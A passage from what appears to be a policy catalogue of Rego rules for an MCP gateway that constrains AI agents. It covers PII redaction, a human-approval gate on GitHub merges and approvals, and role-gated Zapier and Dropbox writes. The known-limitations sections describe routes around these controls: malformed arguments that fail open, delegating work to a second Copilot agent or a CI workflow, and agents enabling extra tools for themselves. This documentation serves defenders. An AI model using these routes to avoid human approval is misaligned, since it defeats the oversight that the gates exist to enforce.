assumption.** Redaction assumes the tool returns JSON (or JSON-ish text) in `payload.text`. If a server returns an unusual envelope, confirm the shape with the dump-input technique. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_calendar.egress.redact_attendee_pii # Transform-only egress policy: it never blocks the read, it only scrubs the # response. Default allow is true so unrelated tools pass through untouched and # a missing transform condition means "nothing to redact", not "deny". default allow := true # --- Egress scope ------------------------------------------------------------- # Match the post-invoke/output path on EITHER mode or action. Keying on # input.mode alone would fail open (no redaction) on a gateway build that leaves # mode unset; requiring either keeps the scanner from silently no-opping. # Ingress (tool_pre_invoke / mode "input") satisfies neither branch. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # --- Tool matching ------------------------------------------------------------ # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three (lower-cased) and match if ANY carries a calendar-read signature, so # a gateway that populates a different surface can't slip a read past the # scanner. object.get chains keep a missing surface from failing the rule. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # Calendar read tools across the servers in scope share an [-_]events? suffix: # list_events / list-events / get_events (Google, community, taylorwilsdon) # get_event / get-event (Google, nspady) # search-events (nspady) # gcal_list_events (Claude connector — also ends _events) # The gateway prepends its configured server-name prefix, so we match on the # suffix, never on an exact fully-qualified name. is_calendar_read_tool if { some n in candidate_names regex.match(`[-_]events?$`, n) } # The Claude connector prefixes its read tools with `gcal_`. Match that segment # too, so connector reads are covered even if a future connector tool name does # not end in the events? suffix. is_calendar_read_tool if { some n in candidate_names regex.match(`(^|[-_])gcal_`, n) } # --- Identity exemption ------------------------------------------------------- # Callers whose IdP groups include the placeholder `calendar-full-read` see the # unredacted response. object.get chains fail closed: no subject / no claims / # no groups -> not exempt -> the response is scrubbed. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) # Only a clean array of group strings grants the exemption. The is_array guard # is load-bearing: `some g in caller_groups` over an OBJECT iterates its values, # so a namespaced/metadata claim like {"role": "calendar-full-read"} would else # wrongly exempt the caller. is_string(g) keeps nested/non-string elements out. # Anything but an array of strings fails closed -> redaction applies. caller_has_full_read if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == "calendar-full-read" } # Some IdPs emit a single group as a bare string rather than an array. caller_has_full_read if { is_string(caller_groups) lower(caller_groups) == "calendar-full-read" } # --- Redaction transform ------------------------------------------------------ # Applies only to calendar reads, only on egress, only for non-exempt callers. # When any condition is false the rule is undefined and the aggregator skips it. transform := { "redact_fields": [ "email", # attendees[].email, organizer.email, creator.email "displayName", # attendees[].displayName / organizer.displayName / creator.displayName — a person name is attendee PII too and survives email-only redaction "attendeeEmails", # flat email arrays (suggest_time-style shapes) "conferenceData", # entryPoints[].uri join links = live meeting access "hangoutLink", # top-level Meet URL — populated independently of conferenceData ], "redact_patterns": [ `\b\d{3}-\d{2}-\d{4}\b`, # US SSN (word-bounded; not 4-2-2 date shape) `[\w.+-]+@[\w-]+\.[\w.-]+`, # email address in free-text bodies `\b\d{3}[-.\s]\d{3}[-.\s]\d{4}\b`, # NANP phone with separators `\+\d{6,15}\b`, # E.164 international phone `(?i)\b(?:diagnosis|prognosis|biopsy|chemo(?:therapy)?|oncolog\w*|psychiatr\w*|dialysis|colonoscopy|prescription)\b`, # PHI / health-context terms `(?i)https?://[\w.-]*(?:meet\.google\.com|zoom\.us|teams\.microsoft\.com|webex\.com)/\S*`, # conferencing join links pasted into description/location free text ], "replacement": "[REDACTED]", } if { is_egress is_calendar_read_tool not caller_has_full_read } ``` ### Redact Email PII URL: https://www.intentbasedpolicy.com/policies/onboarding/redact-email App(s): onboarding | Direction: egress | Bundles: none | Package: onboarding.egress.redact_email | Published: 2026-07-23 | Tags: onboarding, pii, email, dlp, redaction, egress Source: https://github.com/dtwoai/policy-store/blob/main/apps/onboarding/redact-email/policy.md # Hide email addresses in tool responses This policy automatically masks email addresses in what a tool sends back, replacing each one with `[REDACTED]` before your agent ever sees it. It doesn't block anything — the response still comes through, just with the email addresses hidden. It's the response-side companion to the [detect-email-allow](../detect-email-allow/policy.md) and [deny-email](../deny-email/policy.md) starters. Use it when the concern is email addresses coming *back* from a tool — a customer record, a search result, a chat history — and you want your agents to keep working with that data without seeing the actual addresses. ## What it does When a tool returns a response, this policy finds anything that looks like an email address anywhere in it and swaps it for `[REDACTED]`. Everything else in the response is left exactly as it was, and the response is never blocked. ## When to use it Turn this on when your tools return data that may contain email addresses and you'd like to keep those hidden from your agents while still letting them use the rest of the response. ## Example A tool returns a customer record that includes jane@example.com. Your agent receives the same record with the address shown as `[REDACTED]`. ```rego package onboarding.egress.redact_email # Transform-only egress policy — never blocks, redacts email addresses from # tool responses on the output path. default allow := true transform := { "redact_patterns": [ # Email addresses "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}" ], "replacement": "[REDACTED]" } if { input.mode == "output" } ``` ### Require Human Approval: GitHub Merges & Approvals URL: https://www.intentbasedpolicy.com/policies/github/require-human-approval-merge App(s): github | Direction: ingress | Bundles: soc2, sox | Package: github.ingress.require_human_approval_merge | Published: 2026-07-12 | Tags: github, require-human-approval, ingress, soc2, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/require-human-approval-merge/policy.md # github / require-human-approval-merge **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `github.ingress.require_human_approval_merge` ## What it does Keeps a human in the loop on the two GitHub actions that consummate a code change: **merging a pull request** and **approving one**. An agent governed by this policy can still do the drafting work — open and update pull requests, create draft reviews, and leave review comments — but it can never approve a pull request or land its own code. Concretely, at ingress (before the call reaches the GitHub MCP server) it: - **Denies `merge_pull_request` outright.** A merge is effectively irreversible on a shared branch, so it always requires a human. - **Denies `pull_request_review_write` when the call would submit an approval.** The official server multiplexes review operations behind a single tool with a `method` discriminator (`create` / `submit` / `delete` / `resolve_thread` / `unresolve_thread`). The policy inspects `arguments.method`: `submit` is permitted only when the review event is a non-approving `COMMENT` or `REQUEST_CHANGES`; a `submit` that approves — or whose event cannot be confirmed as non-approving — is denied. `create`, `delete`, `resolve_thread`, and `unresolve_thread` pass through so the agent can draft reviews and manage comment threads. - **Denies the archived server's `create_pull_request_review` when its `event` is an approval.** That legacy tool has no `method`; it carries the review decision in an `event` field, so the policy inspects `arguments.event` for `APPROVE`/`approve` on this shape too. Read paths — `pull_request_read` and every other read/list tool — pass through untouched. This is a separation-of-duties / change-management control on the code-integration path: the initiator (the agent) cannot also be the approver. ## Compliance alignment - **SOC 2 CC6.3** — supports role-based access and **separation of duties** by ensuring the actor that authors a change is not the actor that approves or merges it. **CC8.1** — supports change management by keeping the merge/approve gate on the code-integration path under human control. - **SOX SoD (COSO Principle 10)** — supports the initiate-vs-approve separation on program changes. **Rule 13a-15(f)(2)(ii)** — supports transaction (change) authorization by requiring a human to authorize the landing of code. **ITGC program changes** — supports change-ticket-gated / human-approved code changes. **PCAOB AI human-in-the-loop** — supports a draft-only posture for the automated actor. ## Why ingress and not egress Merging and approving are writes with permanent, externally visible side effects — once the call reaches GitHub the merge has happened and the approval is recorded. Egress redaction could only mask the response returned to the agent, not undo the action. Ingress denial is the only way to actually prevent the merge/approval from occurring. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `github-mcp-merge_pull_request`), and that prefix is not standardized. The policy therefore matches on the **suffix**, case-insensitively: - `*merge_pull_request` — same name on both the official (`github/github-mcp-server`) and archived (`@modelcontextprotocol/server-github`) servers, so one suffix covers both. - `*pull_request_review_write` — official server's consolidated review tool. - `*create_pull_request_review` — archived server's review-creation tool. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Read from `input.payload.args`: - `method` (official `pull_request_review_write`) — one of `create`, `submit`, `delete`, `resolve_thread`, `unresolve_thread`. Compared case-insensitively. - `event` (review decision) — `APPROVE` / `REQUEST_CHANGES` / `COMMENT`. Compared case-insensitively; an approval is `event == "approve"`. Both are read with `object.get(..., "")` defaults **and an `is_string` guard**, so a missing `args` object, a missing field, or a **non-string** value (a number, array, or object — e.g. `event: ["APPROVE"]`) never errors and is coerced to `""`, falling through to the fail-closed branches rather than slipping past them. The `args` container itself is also read defensively: `payload` is fetched with `object.get(input, "payload", {})` (so an absent payload does not go undefined), and an `args` value that is present but **not an object** (a string, array, number, or JSON `null` — e.g. `args: "submit"`) is coerced to `{}` via an `is_object` guard. This matters because `object.get` on a non-object raises a runtime type error that would otherwise leave `official_review_blocked` undefined and let the `allow` rule fire on `not undefined`, a fail-open bypass. Coercing to `{}` routes the malformed call into the unrecognized-method deny branch. ## Fail-closed behavior - A `pull_request_review_write` call whose `method` is **missing or malformed** (not one of the five recognized methods) is treated as a potential approval and **denied**. - A `pull_request_review_write` `submit` whose `event` is **not** a confirmed non-approving `COMMENT`/`REQUEST_CHANGES` (i.e. `approve`, missing, or malformed) is **denied**. - As a defensive backstop, an `event` of `approve` on the official tool is denied regardless of `method`. ## Examples ### Allowed — draft a pull request ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_pull_request", "type": "tool" }, "payload": { "name": "github-mcp-create_pull_request", "args": { "owner": "acme", "repo": "app", "title": "Fix", "head": "f", "base": "main" } } } } ``` `allow = true`, no reason. ### Allowed — submit a non-approving review ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-pull_request_review_write", "type": "tool" }, "payload": { "name": "github-mcp-pull_request_review_write", "args": { "owner": "acme", "repo": "app", "method": "submit", "event": "COMMENT" } } } } ``` `allow = true`, no reason. ### Denied — merge ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-merge_pull_request", "type": "tool" }, "payload": { "name": "github-mcp-merge_pull_request", "args": { "owner": "acme", "repo": "app", "pullNumber": 42 } } } } ``` `allow = false`, reason asks the agent to have a human merge. ### Denied — submit an approval ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-pull_request_review_write", "type": "tool" }, "payload": { "name": "github-mcp-pull_request_review_write", "args": { "owner": "acme", "repo": "app", "method": "submit", "event": "APPROVE" } } } } ``` `allow = false`, reason asks the agent to have a human submit the approval. ## Composition This policy is single-purpose. Useful companions: - **`role-gate-writes`** (PF-12) — restrict all write tools to an `engineering` IdP group so non-engineers get read-only GitHub. - **`deny-public-exposure`** (PF-27) — force `private:true` on repos and block public gists/forks. - **`block-secrets-ingress`** (PF-16) — block credential-laden file writes and comments. See the [`bundles/soc2`](../../../bundles/soc2/README.md) and [`bundles/sox`](../../../bundles/sox/README.md) bundles for the curated sets. ## Known limitations - **Archived tool, missing event.** On the archived `create_pull_request_review` (no `method`), a call with a missing `event` creates a *pending* review, which is not an approval, so it passes. Only an explicit `event == "approve"` is denied on that shape. The official `pull_request_review_write` `submit` path is stricter (fail-closed on ambiguous event). - **Tool-name portability.** Matching is by suffix; a heavily renamed or aliased upstream tool would not match. Pair with `default-deny-unknown-tools` (PF-28) if you need drift protection against renamed tools. - **Untyped tool identity fails open.** Matching depends on `input.resource.name`. A `tool_pre_invoke` with **no** `resource.name` (or a null one) matches none of the target suffixes, so it passes through. The gateway always populates `resource.name` for tool hooks (it is constructed from the server + tool name, not caller-supplied), so this is not an attacker-controllable surface; it is documented as a residual and covered by a regression test. If you want to hard-fail unnamed calls, front this policy with `default-deny-unknown-tools` (PF-28). - **Argument-schema drift.** The `method`/`event` argument names for `pull_request_review_write` were inferred from the landscape note's consolidation pattern and the archived server's `event` field; the official server's exact per-method argument schema was **not verified from source** in the landscape pass. Confirm with the live `tools/list` before pinning field names in production, and extend `review_method`/`review_event` if your gateway exposes the discriminator under a different key. - **Merge-adjacent surfaces not covered.** `update_pull_request_branch`, `push_files`, and `create_or_update_file` can move code without a formal merge; this policy does not address them. Gate them with PF-12/PF-27 as needed. - **Autonomous-agent delegation is an escape hatch for the human-in-the-loop guarantee.** This policy blocks the *governed* agent from merging or approving, but the official server's `create_pull_request_with_copilot`, `assign_copilot_to_issue`, and `request_copilot_review` hand work to a **second autonomous Copilot agent that operates outside DTwo's view** — that agent can itself review, approve, or land code with no human in the loop, defeating the control's intent. Likewise `actions_run_trigger` can start a CI workflow that merges. These are deliberately out of scope for this single-purpose policy; gate them with the CI-trigger / role-gate companions (matrix candidate #6 and PF-12) if you need to close the delegation path. - **No identity-based exemption.** Every caller is subject to the gate. If you need a break-glass human-operator identity, add an `allow if` branch keyed on `input.subject.claims` (see the org-scoped example in the Rego skill). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.ingress.require_human_approval_merge # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Tool matching (suffix, case-insensitive, portable across server prefixes) --- # merge_pull_request has the same name on both the official and the archived # community GitHub MCP servers, so a single suffix covers both implementations. is_merge_tool if { endswith(lower(input.resource.name), "merge_pull_request") } # Official server: consolidated review tool with a `method` discriminator # (create / submit / delete / resolve_thread / unresolve_thread). is_official_review_write if { endswith(lower(input.resource.name), "pull_request_review_write") } # Archived community server: one tool per operation. Review creation carries an # `event` field (APPROVE / REQUEST_CHANGES / COMMENT) instead of a `method`. is_archived_review_create if { endswith(lower(input.resource.name), "create_pull_request_review") } is_target_tool if is_merge_tool is_target_tool if is_official_review_write is_target_tool if is_archived_review_create # --- Argument extraction (fail-safe: default to "" when absent) --- # Complete rules — always defined and always a string, so a missing args object, # a missing field, OR a non-string value (number, array, object) never errors and # never leaves the rule undefined; it just falls into the fail-closed branches. # NOTE: guarding with is_string is load-bearing. `lower(123)` / `lower([...])` # raises a built-in type error that leaves the rule *undefined*, and an undefined # review_event makes `not non_approval_events[review_event]` evaluate to undefined # (not true) — so a `submit` with a non-string `event` would slip through the # approval gate. Coercing non-strings to "" forces the malformed value into the # deny branch, matching the documented fail-closed contract. # Read payload/args defensively. `object.get(input, "payload", {})` tolerates a # missing payload; the is_object guard below fails closed when `args` is present # but is NOT an object (a string, array, number, or JSON null). Without the guard, # `object.get(_review_args, ...)` on a non-object raises a runtime type error and # `object.get(input.payload, ...)` on an absent payload goes undefined — either way # review_method/review_event become undefined, official_review_blocked becomes # undefined, and `allow if { is_official_review_write; not official_review_blocked }` # fires on `not undefined` == true. That is a fail-OPEN bypass: a review-write call # with `args:"submit"`, `args:["APPROVE"]`, `args:null`, or no payload at all would # slip past the approval gate. Coercing to {} routes it into the deny branch instead. _payload := object.get(input, "payload", {}) _raw_args := object.get(_payload, "args", {}) _review_args := _raw_args if is_object(_raw_args) _review_args := {} if not is_object(_raw_args) _raw_method := object.get(_review_args, "method", "") review_method := lower(_raw_method) if is_string(_raw_method) review_method := "" if not is_string(_raw_method) _raw_event := object.get(_review_args, "event", "") review_event := lower(_raw_event) if is_string(_raw_event) review_event := "" if not is_string(_raw_event) # Recognized methods on the official review-write tool. Anything else (including # a missing method) is treated as malformed and denied — fail closed. recognized_methods := {"create", "submit", "delete", "resolve_thread", "unresolve_thread"} # The only review events that are provably NOT an approval. `submit` is permitted # only for these; approve / missing / malformed events are denied. non_approval_events := {"comment", "request_changes"} # --- Block conditions --- # Missing / malformed method on the official review-write tool -> fail closed. official_review_blocked if { not recognized_methods[review_method] } # submit with an event that is not a confirmed non-approval -> fail closed # (covers approve, missing, and malformed events). official_review_blocked if { review_method == "submit" not non_approval_events[review_event] } # Defensive backstop: an approval event on any method is blocked. official_review_blocked if { review_event == "approve" } # Archived review-create is blocked only when the review event is an approval. archived_review_blocked if { review_event == "approve" } # --- Allow rules --- # Anything that is not a merge or review-write tool passes through untouched. # This includes pull_request_read and every other read/list path. allow if { not is_target_tool } allow if { is_official_review_write not official_review_blocked } allow if { is_archived_review_create not archived_review_blocked } # merge tools have no allow rule, so they are always denied by the default. # --- Deny reasons --- reasons contains "Merging a pull request requires a human. This agent can open and update pull requests, but it cannot merge them. Ask a human maintainer to review and merge this pull request. Contact your InfoSec or engineering-lead team if this control is blocking a legitimate automated workflow." if { is_merge_tool } reasons contains "Submitting a pull-request approval requires a human. This agent can create draft reviews and leave review comments (COMMENT or REQUEST_CHANGES), but it cannot approve a pull request. Ask a human reviewer to submit the approval and perform the merge. Contact your InfoSec or engineering-lead team if this control is blocking a legitimate automated workflow." if { is_official_review_write official_review_blocked } reasons contains "Submitting a pull-request approval requires a human. This agent can create draft reviews and leave review comments (COMMENT or REQUEST_CHANGES), but it cannot approve a pull request. Ask a human reviewer to submit the approval and perform the merge. Contact your InfoSec or engineering-lead team if this control is blocking a legitimate automated workflow." if { is_archived_review_create archived_review_blocked } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Role-Gate All Zapier Writes URL: https://www.intentbasedpolicy.com/policies/zapier/role-gate-writes App(s): zapier | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: zapier.ingress.role_gate_writes | Published: 2026-07-12 | Tags: zapier, role-gate-writes, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/zapier/role-gate-writes/policy.md # zapier / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny writes for non-approved groups, allow reads for everyone **Package:** `zapier.ingress.role_gate_writes` ## What it does Zapier MCP is an aggregator: one connector proxies actions across 9,000+ apps, and every create/update/delete/send funnels through a small, predictable naming surface. In agentic (dynamic tool discovery) mode, **all writes go through a single meta-tool**, `execute_zapier_write_action` — a Gmail delete and a Salesforce record update both arrive as the same tool name. In classic (manual configuration) mode, each enabled action is its own `_` tool whose name carries a write verb (`send_`, `create_`, `update_`, `delete_`, `remove_`) — e.g. `gmail_send_email`, `google_sheets_create_row`. This policy denies all of them unless the caller's IdP `groups` claim includes `automation-writers`, while reads (`execute_zapier_read_action`, discovery/list meta-tools, and classic `find_`/`get_` tools) stay open to everyone. The result is a **read-only-by-default posture** for the whole aggregator: one rule fences writes across every proxied app. Missing identity claims fail closed: a caller with no `groups` claim (or no claims at all) is not an approved writer and is denied all writes — reads remain available. ## Compliance alignment - **SOC 2 CC6.1 / CC6.3** — supports logical access security and role-based least privilege: write access to every app behind the Zapier connector is granted only to an authorized IdP group, evaluated per call. **CC6.2** — supports credential de-provisioning effect: removal from the IdP group revokes write access on the next call, with no per-app work. - **PCI DSS 7.2.1 / 7.2.2** — supports a least-privilege access model over the aggregator's reach into cardholder-adjacent apps (payment, invoicing, commerce actions all transit the same write funnel). **7.2.5** — supports least privilege for the application account: the broad per-app OAuth grants held Zapier-side are narrowed to read-only on the MCP path for non-writers. - **HIPAA §164.308(a)(4)** — supports information access management for connectors that can reach PHI-bearing apps; **§164.502(b)/§164.514(d)** — supports minimum-necessary, role-based limits (reads only, unless the role warrants writes); **§164.312(a)(1)** — supports access control decided on per-call, per-user identity. **§164.308(a)(3)** — supports workforce-security termination effect via live IdP claims. - **GDPR Art. 25** — supports data protection by default on the agent channel: the aggregator's default capability is read-only. **Art. 29 / 32(4)** — supports processing only on the controller's instructions: agents acting for unapproved users cannot mutate personal data in downstream processors. **CCPA §1798.100(e)** — supports reasonable security over consumer data reachable through the connector. - **SOX (ITGC — access to programs and data)** — supports least-privilege access to financial systems reachable through Zapier (accounting, billing, ERP actions); **SoD (COSO P10)** — supports initiate/approve separation by keeping record-mutation ability out of unapproved hands. ## Tool name matching Case-insensitive, on the tool-name suffix (the DTwo gateway prefixes tool names with the configured MCP server name, e.g. `zapier-mcp-execute_zapier_write_action`, and that prefix is not standardized — suffix matching keeps the policy portable): - **Agentic write funnel** — name ends with `execute_zapier_write_action` (exact meta-tool name, verified against Zapier's official MCP docs). - **Classic writes** — name contains a write-verb substring: `send_`, `create_`, `update_`, `delete_`, `remove_`. Everything else passes: `execute_zapier_read_action`, `list_enabled_zapier_actions`, `discover_zapier_actions`, `list_zapier_skills`, `get_zapier_skill`, `get_configuration_url`, and classic `find_`/`get_` tools (e.g. `quickbooks_online_find_customer`). Note the verb-substring rule also catches the agentic skill meta-tools (`create_zapier_skill`, `update_zapier_skill`, `delete_zapier_skill`) and `send_feedback` — intentional, since all four are writes (skill changes persist instructions future sessions auto-load). See Known limitations for the composition consequence. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. This policy decides purely on the tool name and the caller's identity claims — it never inspects `input.payload.args`, so it is immune to argument-shape drift in Zapier's tools (including the underdocumented `execute_zapier_*_action` envelope). Identity is read via `object.get(input.subject, "claims", {})` and `object.get(claims, "groups", [])`; the `groups` claim is expected to be an **array of strings** as emitted by the tenant's IdP. ## Examples ### Allowed — read funnel, any caller (no claims needed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_read_action", "type": "tool" }, "subject": { "sub": "auth0|analyst", "claims": {} }, "payload": { "name": "zapier-mcp-execute_zapier_read_action", "args": {} } } } ``` `allow = true`, no reason. ### Denied — non-writer hits the agentic write funnel ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_write_action", "type": "tool" }, "subject": { "sub": "auth0|analyst", "claims": { "groups": ["engineering"] } }, "payload": { "name": "zapier-mcp-execute_zapier_write_action", "args": { "instructions": "email the report to the team" } } } } ``` `allow = false`, `reason = "Zapier write actions are restricted (...)"`. ### Allowed — approved writer sends via a classic-mode tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-gmail_send_email", "type": "tool" }, "subject": { "sub": "auth0|ops", "claims": { "groups": ["engineering", "automation-writers"] } }, "payload": { "name": "zapier-mcp-gmail_send_email", "args": { "to": "team@example.com", "subject": "report" } } } } ``` `allow = true`, no reason. ## Composition This policy fences *who* may write; it does not constrain *what* a permitted write contains or which apps it reaches. Useful companions: - [`zapier/freeze-toolset`](../freeze-toolset/policy.md) — stops the agent from widening its own toolset (`enable_zapier_action`, `auto_provision_mcp`, `write_code_action`, skill persistence); this policy assumes the toolset is what admins configured. - [`zapier/guard-external-send`](../guard-external-send/policy.md) — content controls on the writes that approved writers do make. - [`zapier/default-deny-unknown-tools`](../default-deny-unknown-tools/policy.md) — classic mode's tool inventory is per-account; an allowlist catches write actions whose names use a verb this policy does not list. - [`zapier/mask-pan-egress`](../mask-pan-egress/policy.md) — reads stay open under this policy, so pair with egress redaction for what those reads return. ## Known limitations - **Group name is a placeholder.** Replace `automation-writers` with your IdP's real group name at import time, and confirm your IdP actually emits a `groups` claim in the access token (many IdPs require explicit configuration to do so). Callers whose tokens carry no `groups` claim are denied all writes — including would-be writers. - **`groups` must be an array.** If your IdP emits `groups` as a single string or a space-delimited string, the membership check never matches and every caller is denied writes (fail closed). Adjust `is_approved_writer` if your IdP uses a non-array shape. - **The verb list is not exhaustive.** Classic-mode action names are per-account and only a handful are verified from public docs; a write action whose name carries a different verb (e.g. `add_`, `post_`, `move_`, `archive_`) would pass as a "read". Extend `write_verbs` for your inventory, or pair with `default-deny-unknown-tools` so unlisted names are denied by default. - **Agentic write meta-tools overlap `freeze-toolset`.** `create_/update_/delete_zapier_skill` match the verb rule, so when both policies are attached, changing skills requires being in *both* the admin and writer groups. The toolset self-modification meta-tools — `enable_zapier_action`, `disable_zapier_action`, `auto_provision_mcp`, and `write_code_action` — carry no listed verb and are **not** gated here; they are writes-of-capability, not writes-of-data, and are out of this policy's scope by design. Attach `freeze-toolset` to cover them (note `freeze-toolset`'s own candidate list omits `disable_zapier_action`, so confirm it enumerates every self-modification tool your server exposes). - **Unidentifiable calls fail closed.** A request whose `resource.name` is missing, `null`, or an empty string cannot be classified as a read or a write, so it does not match the read-open branch and falls through to `default allow := false` (denied). Real gateway traffic always carries a tool name; this guard only removes a fail-open corner and never blocks a legitimately named read. - **Verb matching sees the whole prefixed name.** A gateway server name containing a verb substring (e.g. a server named `zapier-send_prod`) would classify every tool on it as a write. Name servers without `send_`/`create_`/`update_`/`delete_`/`remove_` substrings. - **Reads are open by design.** `execute_zapier_read_action` still proxies reads across every enabled app, and Zapier's server-side AI resolves `instructions` after the gateway passes the call. This policy is a write fence, not a data-access control — compose with egress redaction and app-scoping policies for read-side exposure. - **Tool names verified against Zapier's official MCP docs** (docs.zapier.com, mid-2026) for the agentic meta-tools; classic-mode examples (`gmail_send_email`, `google_sheets_create_row`, `quickbooks_online_find_customer`) come from third-party client docs — treat other classic names as unverified until observed on a live server. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zapier.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # IdP group approved to perform Zapier writes. PLACEHOLDER — map to your # tenant's real IdP group name at import time. writer_group := "automation-writers" # Classic-mode write verbs. Zapier classic (manual configuration) tools are # named `_` (e.g. gmail_send_email, google_sheets_create_row); # a name carrying one of these substrings is treated as a write. The list is # intentionally conservative — extend it for per-account action inventories # that use other verbs (add_, post_, ...), or pair with a # default-deny-unknown-tools allowlist to catch what this misses. write_verbs := [ "send_", # externally visible sends (email, chat, social posts) "create_", # record/row/page/event creation "update_", # record mutation "delete_", # destructive; Zapier offers no undo "remove_", # destructive; Zapier offers no undo ] # Agentic mode: every write across 9,000+ proxied apps funnels through this # single meta-tool. Matched by suffix because the gateway prefixes tool names # with the configured MCP server name # (e.g. `zapier-mcp-execute_zapier_write_action`). is_agentic_write if { endswith(lower(input.resource.name), "execute_zapier_write_action") } # Classic mode: per-action tools whose name carries a write verb. This also # intentionally catches the agentic skill meta-tools (create_/update_/ # delete_zapier_skill) and send_feedback — all of them are writes. is_classic_write if { name := lower(input.resource.name) some verb in write_verbs contains(name, verb) } is_write_tool if { is_agentic_write } is_write_tool if { is_classic_write } # Caller is an approved writer. Fails closed: if `subject`, `claims`, or # `groups` is missing (or `groups` is not an array), no membership is found # and the caller is not approved. is_approved_writer if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == writer_group } # A resolvable, non-empty tool name is required before anything is treated as # a read. Without this guard a call whose `resource.name` is missing, null, or # empty would make `is_write_tool` undefined/false and sail through the # read-open branch below — a fail-open on tool identity. Requiring the name to # be a non-empty string makes an unidentifiable call fall through to # `default allow := false` (fail closed). has_tool_name if { is_string(input.resource.name) input.resource.name != "" } # Reads stay open to everyone: execute_zapier_read_action, discovery/list # meta-tools, and classic find_/get_ tools carry no write verb. allow if { has_tool_name not is_write_tool } # Approved writers may write. allow if { is_write_tool is_approved_writer } reasons contains "Zapier write actions are restricted to members of the automation-writers group; read actions remain available to everyone. Ask your IdP administrator to add you to automation-writers if your role requires write access through this connector. If you believe this is a false positive, contact your InfoSec team." if { is_write_tool not is_approved_writer } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Role-Gate Dropbox Writes to the Writers Group URL: https://www.intentbasedpolicy.com/policies/dropbox/role-gate-writes App(s): dropbox | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: dropbox.ingress.role_gate_writes | Published: 2026-07-12 | Tags: dropbox, role-gate-writes, rbac, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/dropbox/role-gate-writes/policy.md # dropbox / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny write tools without the writers group, allow everything else **Package:** `dropbox.ingress.role_gate_writes` ## What it does Establishes the per-app **least-privilege write floor** for Dropbox. Every write tool on the Dropbox MCP surface is denied at ingress unless the caller's IdP groups (`input.subject.claims.groups`) include the placeholder `dropbox-writers` group. Every read tool passes through untouched, so a caller with no `groups` claim — or a claim that lacks `dropbox-writers` — keeps **read-only** Dropbox access on the agent path. Write tools gated by this policy, across the three Dropbox MCP dialects: - **Folder / file creation** — `CreateFolder`, `CreateFile` (official); `create_folder`, `upload_file` (`dbx-mcp-server`); `dropbox_create_folder`, `dropbox_upload` (`ngs`). - **Copy / move (move also renames)** — `Copy`, `Move` (official); `copy_item`, `move_item` (`dbx`); `dropbox_copy`, `dropbox_move` (`ngs`). - **Restore tools** — `RestoreFileRevision`, `RestoreFolder` (official); `dropbox_restore_file` (`ngs`). The policy fails closed (`default allow := false`): the only paths to `allow` are (a) the tool is not a gated write, or (b) it is a gated write **and** the caller is in `dropbox-writers`. A missing `subject`, missing `claims`, or a missing / empty / non-array `groups` claim therefore never grants write access. This is the **RBAC baseline** that the share-link, destructive-freeze, and path-fencing policies layer on top of. It is kept as its own policy so a tenant can attach the write floor without the sharper controls — which means, by design, this policy does **not** gate `Delete` or the external-sharing writes (`CreateSharedLink` / `DownloadLink` / `CreateFileRequest`). Those pass through here and are governed by their companion policies (see Composition and Known limitations). ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets by restricting Dropbox writes to an authorized role on the agent path; **CC6.3** — supports role-based access and least privilege by granting write tools only to the `dropbox-writers` group; **CC6.2** — supports tying authorization to live IdP-issued group claims, so de-provisioning in the IdP removes agent write access. - **HIPAA §164.308(a)(4)** — supports information access management: write access to ePHI-bearing Dropbox content is authorized by IdP group; **§164.312(a)(1)/(a)(2)(i)** — supports technical access control and unique-user identification, since the decision is made per call against the caller's own JWT-derived groups; **§164.502(b)/§164.514(d)** — supports the minimum-necessary standard by keeping the write surface off for read-only roles. - **GDPR Art. 25** — supports data protection by design and by default: the agent write path is off unless a group explicitly turns it on; 